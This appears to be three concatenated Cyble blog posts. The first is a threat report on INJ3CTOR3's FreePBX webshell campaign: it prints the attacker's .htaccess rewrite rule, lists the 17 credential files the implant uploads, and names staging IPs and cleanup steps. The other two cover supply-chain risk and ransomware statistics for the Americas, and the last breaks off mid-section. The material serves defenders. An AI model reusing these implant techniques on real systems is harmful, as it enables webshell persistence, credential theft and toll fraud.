Executive Summary

In May, Cyble Research & Intelligence Labs (CRIL) documented JOMANGY, a PHP webshell generation deployed by INJ3CTOR3 with self-healing persistence channels and a built-in toll-fraud dialer.

Back then, the fraud ran through the victim's own PBX, so removing the implant would have stopped it. Artifacts we collected from the operator's C2 staging servers during mid-September 2026 show that this is no longer true: the installer now sends credentials off the box on every run, and a second staging host serves it.

INJ3CTOR3's FreePBX implant now uploads the victim's SIP trunk, AMI, database, and mail-relay credentials to the operator, so disinfecting or rebuilding an infected host no longer ends the exposure. Anyone running FreePBX, Issabel, or Elastix who suspects compromise must rotate the secrets in 17 configuration files, and only after the host is clean.

The infection and persistence code is nearly unchanged; what the operator rotated are the identifiers that were available to defenders since the last time. Each section below pairs a finding with what to do about it.

Key Takeaways

• Credentials leave on every run. k.php uploads 17 configuration files to both staging hosts every minute the host stays infected.
• The fraud no longer needs your PBX. A stolen trunk secret lets the operator register and place calls as you from anywhere.
• Last report's identifiers have expired. Each build now carries its own watermark, and the webshell gate hash was rotated.
• Two staging hosts. Plain-text commands now point to 160[.]119[.]69[.]4, while base64-encoded ones still use 45[.]95[.]147[.]178.
• Clean-looking logs and consoles prove nothing. Requests through an encoded space reach the shell without being named in the access log, and trunks are written directly to /etc/asterisk; they do not appear in the FreePBX console.

The Campaign So Far

INJ3CTOR3 has been abusing Asterisk-based phone systems for toll fraud since at least 2020. Check Point Research named the operation that November, when it exploited CVE-2019-19006 in FreePBX and used a basic webshell to read amportal.conf and sip_additional.conf by hand. Unit 42 reported a related operation against Elastix in 2022, Fortinet documented the EncystPHP webshell in January 2026, and our May report covered JOMANGY.

The playbook has held for six years: scan for exposed PBXs, exploit or brute-force a way in, plant a password-gated webshell, and dial out at the victim's expense. Figure 1 below shows the chain as it stands in the September build, now including the credential upload back to the staging hosts.

What Changed Since Our Last Report

We compared the April artifacts behind our May report with the 9 September collection from both staging hosts, after decoding every layer.

Area	April	September
Credential Exfiltration	None	17 files to /hima_data/index.php on both hosts
Staging hosts	45[.]95[.]147[.]178	45[.]95[.]147[.]178 and 160[.]119[.]69[.]4
webshell watermark	One value in every copy	A different value per build
Webshell gate hash (JOMANGY and ZenharR)	a2f6863413c4192a4abfa360577b9961	8b3a1d970fda0c17a0b785a990fb7b6a
/x takeover script	367 lines	620 lines, mostly added cleanup: removing rival actors’ implants and SSH keys
wor.php, people2.txt, _*.php status files	Present	Absent from the collection

Unchanged: the decoded webshell panel, the encoding chain (base64 in the shell script, base64 again in PHP, then ROT13), the persistence channels, the backdoor account password hash, and the borrowed timestamp. Behavioral detections built on our May report still apply.

Credential Exfiltration: The Implant Is No Longer the Product

The September k.php ends with two new base64-encoded lines, each holding 17 curl commands that upload one configuration file apiece to /hima_data/index.php, one line per staging host (See Figure 2 below). The paths are typed out by hand and cover FreePBX, Issabel, and Elastix layouts. The collector path echoes hima, a backdoor account the takeover script creates. The name goes back further: Check Point's 2020 INJ3CTOR3 report shows a Telegram post by a user called Hima sharing a tool that scans and cracks SIP ranges, saving its output as HimaResults.

Three of the cron beacons fetch and run k.php every minute (the others every two or three minutes), so the upload repeats every minute during the infection. Rotating credentials on a still-infected host hands the new secrets to the operator within minutes.

What it unlocks	Files uploaded	Rotate
SIP trunks and extensions (chan_sip)	/etc/asterisk/sip.conf, sip_additional.conf, sip_registrations.conf, sip_general_additional.conf, sip_custom.conf	Every trunk secret (with your carrier) and extension secret, changed in the FreePBX GUI, since the *_additional.conf files are regenerated
SIP trunks and extensions (PJSIP)	/etc/asterisk/pjsip.auth.conf, pjsip.endpoint.conf, pjsip.aor.conf, pjsip.identify.conf, pjsip.transports.conf	The same secrets; review IP-based identity rules
Call origination without SIP	/etc/asterisk/manager.conf	Every AMI user.
PBX database, AMI, and platform admin	/etc/freepbx.conf, /etc/amportal.conf, /etc/asterisk/amportal.conf, /etc/issabel.conf, /etc/elastix.conf	The database password (AMPDBPASS), the MySQL root password, and any AMI password stored there
Outbound mail	/etc/postfix/sasl_passwd	The SMTP relay account, with your mail provider

This opens a second route to fraud. Our May report covered calls placed through the webshell, which require the shell to be alive and to land in the victim's own call records. With a stolen trunk secret, the operator can register to the carrier from any machine and call as the victim, leaving nothing on the host, unless the carrier also restricts the trunk to the victim's IP addresses. A successful disinfection stops the first route; only rotation stops the second.

Detection

• Network: outbound HTTP POSTs from a PBX to any /hima_data/ path or to either staging host. A PBX seldom needs outbound web access beyond vendor updates, so egress allow-listing closes this channel.
• Carrier: alert on trunk registrations from outside your own IP ranges, and on premium or international destinations, off-hours calling, and unusual concurrency. Set spend caps and destination blocks where your carrier offers them.

For Law Enforcement Agencies and CERTs

By design, victims' credentials were collected on the two staging hosts, which stopped responding in late September 2026. Going offline does not end exposure: hosting providers may still retain server data, and infected PBXs keep trying to upload their credentials every minute to addresses that could be reassigned to someone else.

Both are reasons for law enforcement and national CERTs, which have the legal standing that researchers lack, to work with the providers on preserving that data and sinkholing the addresses, which would also identify victims for notification. We saw the uploads in code; we did not capture one in transit and hold no victim list.

Two Staging Hosts, Split by Encoding

An infected host now talks to both staging hosts, and which one depends on whether the command was written in plain text or base64. The /x takeover script is byte-identical on both.

Reference	Encoding	Points to
k.php line 2 (re-runs /x), eight cron schedules in /x, wr.php's callback	Plain text	160[.]119[.]69[.]4
Camouflaged cron payloads, login-triggered stager	Base64	45[.]95[.]147[.]178
Credential upload	Base64	Both

In April, all of these pointed to 45[.]95[.]147[.]178. We assess that the operator replaced the address in plain text and never re-encoded the base64 strings; the credential upload, which names both hosts, appears deliberate. This host is distinct from the scanner 160[.]119[.]76[.]250, which is named in our May report.

Defend: block both hosts in both directions, and decode every base64-encoded string in a crontab or shell profile before deciding which hosts a host talks to. A plain-text review would miss every channel that still reaches 45[.]95[.]147[.]178.

The Webshell: Same Program, New Identifiers

Decoded, the September JOMANGY panel is identical to April's except for the values defenders were told to look for.

Per-build watermark. Our May report advised hunting for trace_e1ebf9066a951be519a24140711839ea, present in every April copy. The September builds carry trace_bd42a8a0d23ae16c85dede7d2abaec05 (45[.]95[.]147[.]178) and trace_7544725ebaaadac217dfaa7ca8e8fe7e (160[.]119[.]69[.]4), so that hunt now misses current infections.

One gate for two generations. JOMANGY and ZenharR share a single hardcoded MD5 gate hash, rotated together from a2f6863413c4192a4abfa360577b9961 to 8b3a1d970fda0c17a0b785a990fb7b6a. Our May report listed the April value under ZenharR only.

A forged administrator session. Behind the gate, the FreePBX button builds an admin session using FreePBX's own ampuser class and setAdmin(); in our lab, it opened the full console without any password. Therefore, changing the FreePBX admin password affects neither the gate nor this session. (See Figure 3 below)

Because each of these identifiers changes between builds, the detection approach later in this report focuses on who put a file on disk rather than on what the file contains.

The .htaccess Door and the Access-Log Gap

k.php writes a seven-line .htaccess to /var/www/html/admin/views/. It does not hide the webshell; it unblocks it, and it lets requests reach a copy without naming it.

RewriteEngine On
# enable symbolic links
Options +FollowSymLinks
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule ^\s+ config.php [L]

Request path	Status	What answered
/dir/zzz	404	Nothing
/dir/%20zzz, /dir/%09zzz (space, tab, etc)	200	config.php
/dir/+zzz	404	Nothing

Simulating an operator and a victim in an isolated environment, we confirmed that a request to a URL containing an encoded space returned a working webshell for the attacker. The access log records only the requested path, never the file that answered, so searching logs for the webshell by its filename can return nothing on a host that is serving it.

Defend: check every .htaccess across the web root for who put it there; one that no package, FreePBX module, or member of your team accounts for is suspect, whatever it contains. Because the takeover script wipes logs, treat log hunting as secondary: requests with %20, %09, or %0A directly after a slash that return 200 are worth a look where logs survive.

What the FreePBX Console Won't Show You

FreePBX lists the trunks it created from its own database; Asterisk reads whatever is in its configuration files. In our lab, a trunk we wrote directly into /etc/asterisk/pjsip_custom.conf carried a call while the FreePBX Trunks page reported no records (See Figure 4 below). We did not see the campaign plant one, but its root-equivalent accounts and stolen trunk secrets give the operator everything needed to do so.

Defend: audit from the Asterisk CLI (pjsip show endpoints, pjsip show registrations, sip show peers, sip show registry) and compare with what the console lists. Review the *_custom.conf files for trunks or contexts that nobody on your team added.

What Keeps It There

Before detecting or cleaning, it helps to see the whole apparatus. Everything in Figure 5 is read from /x and k.php: ways the implant stays on the box, and doors allowing the operator to come back, through a system account or a single web request. Each piece can rebuild/repair all others under a minute, which is why removing any one of them on its own fails. (See Figure 5 below)

Detecting It Without IOCs

The operator rotates hashes, watermarks, gate values, and hosts between builds, so asking whether a file is known-bad quickly stops working. The better question is who put the file there: compare what is on disk with what the package manager or a clean install says it should be.

On the host: triage with beagle.sh

PBX admins can run beagle.sh, a report-only script that makes no changes to the host, to check a PBX server for signs of compromise. (See Figure 6 below)

Check	What it flags
Packed shells	Several identical, same-size PHP files across unrelated directories
Locked files	chattr +i or +a under the web root or in hidden directories
Unowned .htaccess	An .htaccess no installed package accounts for
Self-rebuilding cron	A cron line that downloads a file and hands it to a shell
Accounts	An extra UID-0 account, or a full-permission FreePBX admin, nobody created
Blocklist	Addresses dropped in and out by iptables outside fail2ban's chains

The script separated one infected server from one clean server of the same FreePBX version, a sample of one, so expect some legitimate findings. However, it cannot tell you whether the credentials have already been left: that happens during the first cron run, within a minute of infection, and long before anyone scans. The upload leaves no file behind, and the takeover script wipes what might have recorded it: the web server, Asterisk, cron and audit logs, plus shell and MySQL histories, which makes forensic timelines hard to reconstruct.

With telemetry

The most distinctive actions leave little on disk; in our detonation, backdoor accounts were created and deleted 27 seconds apart. These eleven behaviors are detection strategies to build into your own tooling:

Layer	Behavior	What it catches
Host	crond spawns a shell that downloads a file and runs it	The takeover script on its single run, before persistence and before credentials leave
Host	The web server account spawns a shell	The webshell's command box in use
Host	A cron child rewrites the crontab every minute without reading it first	Beacon reinstallation
Host	chattr +i or touch -r on a file in the web root	The lock and the borrowed timestamp
Host	Twelve PHP files were written to the web root in the same second	The webshell copies, as they are written; fan-out
Network	The PBX contacts staging host roughly every 60 seconds	The beacon's rhythm, whatever the address
Network	Many configuration files read, then outbound POST requests	Credentials leaving
Web	A request with leading encoded whitespace returns 200 for a path not on disk	The .htaccess door
Decoy	Any read of a decoy config file that the implant reads, but nothing legitimate does	Credential collection, with no false positives by design
Phone	Channels originate over AMI or the CLI outside your dial plan	A call asking for nothing legitimate
Phone	CDRs with premium destinations, off-hours calling and unusual concurrency	The fraud itself

The last two catch the fraud rather than the machinery, whatever the files are called, and whether you ever find the shell. The host rows need process telemetry that PBX appliances rarely have, which is part of why so many stay infected.

Why Cleanup Fails, and the Order That Works

First move	Why it fails on its own
Delete the webshell	Cron re-runs k.php within minutes and rewrites all 12 copies, the .htaccess, and the immutable flags.
Patch FreePBX	Sangoma's advisory for CVE-2025-57819 states the fix prevents new exploitation but does not clean a compromised system.
Change the admin password	The gate and the forged session never use it, and the backdoor accounts bypass the FreePBX login.

Shadowserver data showed more than 900 compromised FreePBX instances in February 2026; over 700 of them were still compromised in May. Rebuilding from a clean image is the most reliable fix; if you clean in place, work from the system layer up, because it replants everything above it.

Preserve first

The takeover script truncates logs, then deletes them, and clears shell and database history, so evidence shrinks with every run:

1. Cut the host off from the internet, or at least block all outbound traffic except to your SIP carrier. Blocking only the two known staging hosts is not enough if the operator has moved. With no route out, the minute-by-minute downloads fail, and nothing more is uploaded. One local loop survives: a watchdog cron line re-runs the cached copy of k.php at /var/lib/asterisk/bin/zen2 every minute, rebuilding the webshells offline, which is why cron comes first in the cleanup below.
2. Capture all crontabs and the eight backups listed below, /etc/passwd, /etc/shadow, shell profiles, and the web root with lsattr output and change times.
3. Export the FreePBX ampusers table, the call records database, and the Asterisk full log, and ask your carrier to preserve CDRs and registration logs.

Then clean, in this order

1. Cron and its spares. Clear root's crontab in one go, so the restore and watchdog lines are removed. Then kill any running zen2, devnull2, or serv processes; killed earlier, the watchdog restarts them within a minute. Remove the k.php beacons (/var/lib/asterisk/bin/zen2, devnull2, zen222, devnull312, devnull212, /tmp/.cache/update, /dev/shm/.systemd/kernel). Unlock (chattr -i, -a) and delete the eight crontab backups: /usr/lib/.systemd/.cache, /usr/share/.fonts/.config, /var/lib/.dbus/.data, /var/tmp/.X11/.Xauthority, /opt/.local/.bashrc, /var/cache/.fontconfig/.cfg, /etc/.ssl/.cert, and /root/.config/.pref.
2. Login and boot triggers. Remove the base64 stager from /root/.bash_profile, /root/.bashrc, and /etc/rc.local.
3. Accounts and SSH. Remove every extra UID-0 account and any account whose /etc/shadow hash begins with $1$nRz1Cbtk$ (legitimate service accounts with that hash need new passwords, not deletion). Restore sshd_config, where root login was re-enabled.
4. Web application. Remove the 12 webshell copies, the .htaccess, the freepbxusers row in ampusers, and /var/www/html/admin/modules/freepbx_ha/license.php.
5. Credentials. Only now rotate the secrets in the 17 files and across every account on the host.

Conclusion

The hard part of the campaign used to be getting the implant off the box, and that has not changed. What has changed is that the box is no longer the whole problem: an organization that rebuilds but does not rotate has removed the operator's calling platform and handed over its carrier account.

The code ties this generation to the actor in our May report through the takeover script, backdoor hash, and staging host, and a gate rotated in step across JOMANGY and ZenharR.

The operator is now rotating exactly the strings defenders were given, so detections built on provenance and behavior will outlast this build, and detections built on its hashes will not. CRIL continues to monitor INJ3CTOR3's infrastructure.

Indicators of Compromise

Hashes and strings rotate between builds; use them to confirm a finding, not as your only detection.

Value	Type	Context
45[.]95[.]147[.]178	IPv4	Staging host since April
160[.]119[.]69[.]4	IPv4	Second staging host and credential collector, new
hxxp://45[.]95[.]147[.]178/hima_data/index.php	URL	Credential upload endpoint
hxxp://160[.]119[.]69[.]4/hima_data/index.php	URL	Credential upload endpoint
c6e64453ea8bc0856333b6f57567c9efd8c440410787cae135d1c4a248c07c0d	SHA256	/x takeover script, identical on both hosts
38edbfc4ac89619d2bdb3f4bb2626deaaf422868d6d7af640f59d7959903f838	SHA256	k.php, 45[.]95[.]147[.]178
1c14a761620691a43b1a554a9eccd38d21c15d59463945250d4f57b10d20fce9	SHA256	k.php, 160[.]119[.]69[.]4
b54a8d9e98ff36dfe63b2aea97a2003b670f7311595bb4dd072850fed5900a0b	SHA256	wr.php, 45[.]95[.]147[.]178
aa6dfd7ee90d9aea5af29ae39c14ff70cf8687118abadd7aa4fc98923f01ffd1	SHA256	wr.php, 160[.]119[.]69[.]4
adeb015fdb37814edc3ed45230f48d2b0e87bb195a5a7e4487c01549b47c744c	SHA256	JOMANGY webshell on disk, 45[.]95[.]147[.]178 build
d345671e688ee807e1bb9b6fc45e6bb0611bbb1331c33888c8030ec2db47e672	SHA256	JOMANGY webshell on disk, 160[.]119[.]69[.]4 build
trace_bd42a8a0d23ae16c85dede7d2abaec05, trace_7544725ebaaadac217dfaa7ca8e8fe7e	String	JOMANGY watermarks, one per build
8b3a1d970fda0c17a0b785a990fb7b6a	MD5	Webshell gate hash, JOMANGY and ZenharR
$1$nRz1Cbtk$	Hash prefix	Password hash set on backdoor and service accounts

MITRE ATT&CK® Techniques

Mapped from the September /x and k.php to MITRE ATT&CK v20; the last three rows are new in this generation.

Technique ID	Tactic	Name	Evidence
T1059.004	Execution	Command and Scripting Interpreter: Unix Shell	/x and k.php run as bash scripts fetched by cron
T1105	Command and Control	Ingress Tool Transfer	wget of /x, k.php and wr.php from the staging hosts
T1053.003	Persistence	Scheduled Task/Job: Cron	Minute-level beacons, a restore line and a watchdog
T1505.003	Persistence	Server Software Component: Web Shell	JOMANGY and ZenharR, 12 copies across the web root
T1546.004	Persistence	Event Triggered Execution: Unix Shell Configuration Modification	Stager added to /root/.bash_profile and /root/.bashrc
T1037.004	Persistence	Boot or Logon Initialization Scripts: RC Scripts	Stager added to /etc/rc.local
T1136.001	Persistence	Create Account: Local Account	Backdoor accounts, several at UID 0
T1098	Persistence	Account Manipulation	Shared password hash set on existing accounts; FreePBX admin row inserted
T1027	Stealth	Obfuscated Files or Information	base64, base64 and ROT13 layers around the webshell; base64 cron payloads
T1564.001	Stealth	Hide Artifacts: Hidden Files and Directories	Crontab spares in dot-paths such as /var/tmp/.X11/.Xauthority
T1070.006	Stealth	Indicator Removal: Timestomp	touch -r copies footer.php's timestamp onto the webshell
T1070.003	Stealth	Indicator Removal: Clear Command History	Shell and MySQL histories cleared
T1222.002	Defense Impairment	File and Directory Permissions Modification: Linux and Mac Permissions	chattr +i and +a on webshells and crontab spares
T1685.006	Defense Impairment	Disable or Modify Tools: Clear Linux or Mac System Logs	Web server, Asterisk, cron, secure and audit logs truncated, then deleted
T1686	Defense Impairment	Disable or Modify System Firewall	iptables rules dropping rival actors' addresses
T1496	Impact	Resource Hijacking	Victim's PBX and trunks used to place premium-rate calls
T1552.001	Credential Access	Unsecured Credentials: Credentials In Files	k.php reads 17 Asterisk, FreePBX, Issabel, Elastix and Postfix configuration files holding secrets
T1119	Collection	Automated Collection	The 17 files are collected by hardcoded commands on every k.php run
T1041	Exfiltration	Exfiltration Over C2 Channel	Multipart HTTP POST of each file to /hima_data/index.php on both staging hosts

References

1. Cyble Research & Intelligence Labs. JOMANGY: INJ3CTOR3's Self-Healing FreePBX Toll Fraud Campaign, 21 May 2026.
2. Fortinet FortiGuard Labs. Unveiling the Weaponized Web Shell: encystPHP, 28 January 2026.
3. Palo Alto Networks Unit 42. ZenharR webshell and CVE-2021-45461 FreePBX exploitation, 2022.
4. SANS Internet Storm Center. ISC Diary #32892, 13 April 2026.
5. watchTowr Labs. CVE-2025-57819: FreePBX Endpoint module pre-authentication SQL injection, 2025.
6. FreePBX Security Advisory. GHSA-vm9p-46mv-5xvw: CVE-2025-64328.
7. The Hacker News, reporting Shadowserver Foundation data. 900 Sangoma FreePBX instances compromised, February 2026.
8. beagle.sh: github.com/0x1da5/malware-campaigns

The post From Hijacked PBX to Stolen Trunk: INJ3CTOR3’s Campaign Evolves appeared first on Cyble.

Supply chain attacks in 2026 are no longer an edge-case risk buried in a vendor questionnaire — they are a primary breach vector that regulators, incident responders, and CISOs now treat as a first-order threat. Verizon's 2026 Data Breach Investigations Report found third-party involvement in 48% of breaches, up 60% year over year, following the 2025 edition, which already recorded a jump from 15% to 30%.  

Every vendor integration, every open-source dependency, and every managed file transfer tool expands the attack surface that an organization does not directly control. That is the core problem with supply chain security today: the weakest link is rarely the enterprise itself.  

It is the supplier three tiers removed that nobody in procurement flagged as high-risk. 

What Is a Supply Chain Attack, and Why Does It Bypass Standard Defenses?  

A supply chain attack targets the vendors, software components, and build pipelines that an organization depends on, rather than attacking the organization directly.  

Software supply chain security failures happen when a trusted update, library, or third-party platform is compromised upstream, and that compromise rides in through a channel the target already trusts and has whitelisted.  

Traditional vulnerability scanning is built to find flaws in owned infrastructure — it was never designed to flag a poisoned dependency sitting inside a vendor's codebase. 

Recent Supply Chain Attacks Prove the Blind Spot Is Structural, Not Occasional 

The pattern keeps repeating at scale. The Cybersecurity and Infrastructure Security Agency and FBI documented in advisory AA23-158A how the Cl0p ransomware group exploited a SQL injection flaw (CVE-2023-34362) in Progress Software's MOVEit Transfer platform, a widely used managed file transfer tool. Exploitation began on May 27, 2023. CISA added the vulnerability to its Known Exploited Vulnerabilities catalog on June 2, six days later, and Progress had published its own advisory on May 31. 

By January 2024, breaches or downstream exposures at more than 2,700 organizations had compromised the personal data of more than 93 million people, according to tracking by Emsisoft and KonBriefing Research. Censys counted more than 3,000 MOVEit environments exposed to the internet before the flaw was disclosed or patched.  

The same advisory covers an earlier Cl0p campaign against Fortra's GoAnywhere MFT, launched in late January 2023 against a separate zero-day, CVE-2023-0669. Cl0p claimed to have exfiltrated data affecting approximately 130 victims over the course of 10 days, a claim CISA and the FBI recorded in the advisory.  

The agencies did not identify lateral movement from GoAnywhere into victim networks, which suggests the breach stopped at the platform itself. That detail is the point, not a caveat: the attacker never needed to go any further because the platform already held the data.  

These campaigns share a structure: one vendor, one flaw, hundreds of downstream victims who had no visibility into the vendor's exposure until the breach was already public. 

Why Vendor Dependencies Create Blind Spots Scanning Alone Can't Close 

This is the operational reality procurement and vendor risk teams face: an organization can harden its own perimeter completely and still inherit a breach through a supplier's unpatched system, a compromised update mechanism, or a fourth-party dependency nobody mapped.  

Supply chain threats don't trip an internal vulnerability scanner because the vulnerable asset was never inside the scan's scope to begin with.  

By the time a breach notification arrives from a vendor, the exposure window has already closed — and the damage is already done. 

Supply Chain Attack Prevention Now Requires Continuous, External Vendor Visibility 

Governments are formalizing the response. In September 2025, CISA and the NSA, together with 19 international partners, published joint guidance establishing a shared framework for Software Bills of Materials, treating component-level transparency as a baseline security expectation rather than a nice-to-have.  

CISA, the NSA, the FBI, and international partners followed on July 29, 2026, with 2026 Minimum Elements for a Software Bill of Materials, which updates and replaces the minimum elements NTIA published in 2021.  

The revision draws on more than 90 public comments and applies to all software, including open-source components, AI systems, and software delivered as a service 

CISA has since followed with the 2026 Minimum Elements for SBOM guidance, updating the original 2021 federal standard.  

The regulatory direction is unambiguous: organizations are expected to know what's inside their vendors' software stacks —not just their own—before deployment, not after an incident. 

Monitoring the Vendor, Not Just the Perimeter 

Closing this blind spot requires continuous monitoring of vendor infrastructure, exposed credentials, dark web chatter, and third-party breach signals — the exact layer traditional vulnerability management doesn't cover.  

Cyble's Third-Party Risk Management platform continuously tracks vendor risk posture, surfacing exposure signals tied to suppliers before they cascade into a confirmed compromise, giving CISOs, vendor risk managers, and procurement security teams the lead time that reactive scanning can't provide. 

Find your blind spots before an attacker does. Request a Cyble TPRM demo! 

Conclusion 

Supply chain attacks in 2026 succeed for the same reason every time: organizations extend trust to vendors faster than they extend visibility into them. CISA's own advisory record — from GoAnywhere to MOVEit — shows that a single upstream compromise can cascade into hundreds of victims before any of them see it coming. Patching internal systems faster won't fix that. Neither will another vendor questionnaire be filed away after onboarding. 

What changes the outcome is continuous visibility into the vendors, software components, and dependencies an organization has already accepted as trusted — tracked before a breach notification forces the issue. That's the gap threat intelligence is built to close, and it's the difference between reacting to a supplier's incident and seeing it coming. 

Don't wait for a vendor to tell you they were breached. See how Cyble Third-Party Risk Management maps your vendor exposure. 

References 

• #StopRansomware: CL0P Ransomware Gang: Exploits CVE-2023-34362 MOVEit Vulnerability 

• CISA, NSA, and 19 International Partners Release Shared Vision of Software Bill of Materials for Cybersecurity Guide 

Disclaimer: This blog is for general informational purposes only and does not constitute security, legal, or compliance advice. Statistics and incidents referenced are drawn from public advisories issued by CISA, FBI, and NSA, accurate as of their publication dates. Threat conditions and guidance change frequently — consult the original advisories and your own security team before making risk or compliance decisions.

The post Supply Chain Attacks in 2026: Why Threat Intelligence Is the Only Early Warning System That Works appeared first on Cyble.

The Americas carried the heaviest ransomware burden of any region on the planet in the first half of 2026. According to Cyble Research and Intelligence Labs (CRIL), North and South America combined experienced 2,188 documented ransomware attacks between January and June 2026.

That single figure — 2,188 attacks — represents more than 57% of the 3,836 ransomware incidents CRIL tracked worldwide, making the Americas the undisputed center of gravity for global ransomware operations.

But the Americas is not a single threat theatre — it is two. North America alone absorbed 1,981 attacks, driven by a mature, multi-group Ransomware-as-a-Service (RaaS) economy competing for market share. South America, by contrast, recorded 207 attacks concentrated around a much smaller set of operators, with one group — The Gentlemen — claiming nearly a quarter of all regional incidents outright. Understanding the Americas means understanding both halves of that story: a saturated northern market and a consolidating southern one.

North America vs. South America: Two Distinct Ransomware Landscapes

Security leaders operating across the hemisphere cannot apply a single threat model to both sub-regions. The data shows meaningfully different attacker behavior, concentration, and monetization strategy north and south of the equator.

Metric	North America	South America
Ransomware Attacks	1,981	207
Dominant Ransomware Actor	Qilin (370 attacks)	The Gentlemen (46 attacks)
Top Targeted Sector	Construction	IT & ITES
Top Targeted Nation	United States (1,721)	Brazil (71)
Distinct Ransomware Groups Active	50+	30+
% of Attacks from Top 3 Groups	~40% (Qilin, Akira, INC Ransom)	~57.5% (The Gentlemen, Qilin, LockBit)

Why the split matters: North America's threat landscape is a genuine marketplace — dozens of RaaS operators compete for affiliate loyalty, and no single group commands more than a fifth of total volume. South America's landscape is more consolidated, with three groups controlling well over half of all attacks.

For defenders, that means North American organizations need broad-spectrum threat intelligence covering a long tail of active groups, while South American organizations can build highly specific defenses against a short list of named adversaries.

The Five Dominant Ransomware Groups Targeting Americas

Across both sub-regions combined, five ransomware operators account for the overwhelming share of documented activity: Qilin, Akira, INC Ransom, Dragonforce, and The Gentlemen. Together, these five groups are linked to roughly 1,148 of the Americas' 2,188 attacks — approximately 52.5% of all regional ransomware activity.

1. Qilin: The Biggest Ransomware Threat in the Americas

Attack Volume: 410 documented incidents across the Americas (370 in North America, 40 in South America) — 18.7% of the regional total.

Qilin is the single most prolific ransomware actor operating in the hemisphere, and its dominance is not evenly spread — it is concentrated hardest in the United States.

Geographic Concentration:

• United States: 323 attacks (the single largest country-level concentration of any group, anywhere)
• Canada: 33 attacks
• Argentina: 13 attacks
• Broader South America: 40 attacks

Worldwide Sectoral Targeting: Qilin's targeting logic is deliberate rather than opportunistic:

• Construction: 108 incidents (primary focus)
• Professional Services: 90 incidents (legal, accounting, consulting firms)
• Manufacturing: 67 incidents
• Healthcare: 53 incidents
• IT & ITES: 43 incidents

Operational Characteristics:

Qilin's affiliate model is built for scale. Initial access brokers handle reconnaissance and compromise, mid-tier operators manage lateral movement, and dedicated crews execute encryption and exfiltration. This compartmentalization lets Qilin run dozens of concurrent operations across the United States without any single point of failure. The group's near-total dominance of the American ransomware market (323 of 1,721 US attacks) suggests either an unusually large affiliate roster or a payout structure attractive enough to pull operators away from competing platforms.

Why Qilin Dominates:

• Affiliate Loyalty: Competitive payout splits keep operators recruiting and retaining talent
• Rapid Exploit Weaponization: Fast turnaround from vulnerability disclosure to active exploitation
• Sector Fluency: Deep understanding of which industries face the highest downtime cost
• Established Data Brokerage Ties: Exfiltrated data reliably reaches monetization channels

Americas Security Implications: Any organization in construction, professional services, manufacturing, or healthcare operating in the US or Canada should treat Qilin as a primary named threat, not a generic ransomware risk.

2. Akira: North America's Persistent Operator

Attack Volume: 268 documented incidents, almost entirely concentrated in North America — 12.2% of the regional total

Akira is the second most active group in the Americas, and unlike Qilin, its footprint is almost exclusively North American. CRIL's data shows Akira's South American presence is negligible to date.

Geographic Concentration:

• United States: 247 attacks (92% of Akira's total Americas volume)
• Canada: Remaining North American activity
• South America: Minimal to no confirmed activity

Worldwide Sectoral Targeting:

• Construction: 57 incidents
• Manufacturing: 54 incidents
• Professional Services: 47 incidents
• Consumer Goods: 19 incidents
• IT & ITES: 16 incidents

Operational Characteristics:

Akira has built a reliable playbook around compromising small-to-medium-sized businesses through unpatched public-facing network devices, then pivoting into construction and manufacturing environments where downtime tolerance is lowest. The group's consistency — rather than explosive growth — is its defining trait; it has neither the explosive scale of Qilin nor the geographic diversification of The Gentlemen, but it reliably executes against the same target profile month after month.

Americas Security Implications: North American SMBs in construction, manufacturing, and professional services should assume Akira is actively scanning for exposed remote access infrastructure. Its South American absence should not be mistaken for permanence — RaaS groups expand geographically once North American markets saturate.

3. INC Ransom: The Law-Firm Specialist

Attack Volume: 171 documented incidents (164 in North America, 7 in South America) — 7.8% of the regional total

INC Ransom distinguishes itself through sector specialization rather than volume. The group shows a clear, repeated preference for Professional Services organizations — particularly law firms — leveraging the sensitive, high-stakes nature of legal client data.

Geographic Concentration:

• United States: 154 attacks
• Canada: 6 attacks
• Brazil: 4 attacks

Worldwide Sectoral Targeting:

• Professional Services: 58 incidents (primary focus, with a documented preference for law firms)
• Construction: 27 incidents
• Manufacturing: 26 incidents
• Healthcare: 21 incidents
• Organisation/Non-profit: 12 incidents

Operational Characteristics:

INC Ransom's rapid operational pace and consistent targeting of law firms, healthcare providers, and transportation/energy operators reflects a strategy built entirely around double-extortion leverage. The sensitivity of the data matters more than the size of the victim. A regional law firm holding privileged client communications is, to INC Ransom, a more valuable target than a much larger manufacturer with less sensitive data.

Americas Security Implications: Law firms, accounting practices, and consulting shops across the US, Canada, and Brazil should assume INC Ransom is actively targeting client confidentiality as leverage — not just encrypting file servers for disruption.

4. Dragonforce: The Cross-Border Supply-Chain Operator

Attack Volume: 153 documented incidents (148 in North America, 5 in South America) — 7.0% of the regional total

Dragonforce maintains an aggressive operational tempo focused heavily on the United States, with a strategy that suggests supply-chain-aware targeting rather than random opportunism.

Geographic Concentration:

• United States: 135 attacks
• Canada: 11 attacks
• South America: 5 attacks

Worldwide Sectoral Targeting:

• Construction: 48 incidents
• Manufacturing: 31 incidents
• Professional Services: 28 incidents
• IT & ITES: 18 incidents
• BFSI: 17 incidents

Operational Characteristics:

Dragonforce's manufacturing and construction focus mirrors Qilin's and Akira's playbooks, but its concentration in the US combined with limited-but-present South American activity hints at interest in transnational manufacturing supply chains. North American organizations with manufacturing partners or subsidiaries in Latin America should treat this as a lateral-access risk, not just a direct-targeting one.

Americas Security Implications: Manufacturers and construction firms with cross-border operations — a common structure across USMCA supply chains — should extend Dragonforce-specific monitoring to subsidiaries and vendors, not just headquarters networks.

5. The Gentlemen: South America's Dominant Threat

Attack Volume: 146 documented incidents (100 in North America, 46 in South America) — 6.7% of the regional total, but the single most active ransomware group in South America specifically.

While The Gentlemen rank fifth across the combined Americas, they are the #1 threat actor in South America on their own — responsible for roughly 22% of every ransomware attack recorded in that sub-region.

Geographic Concentration:

• United States: 77 attacks
• North America: 100 attacks
• Brazil: 15 attacks
• South America: 46 attacks (largest single-group share in the sub-region)

Worldwide Sectoral Targeting:

• Manufacturing: 56 incidents
• Construction: 45 incidents
• Healthcare: 37 incidents
• IT & ITES: 36 incidents
• Consumer Goods: 34 incidents

Operational Characteristics:

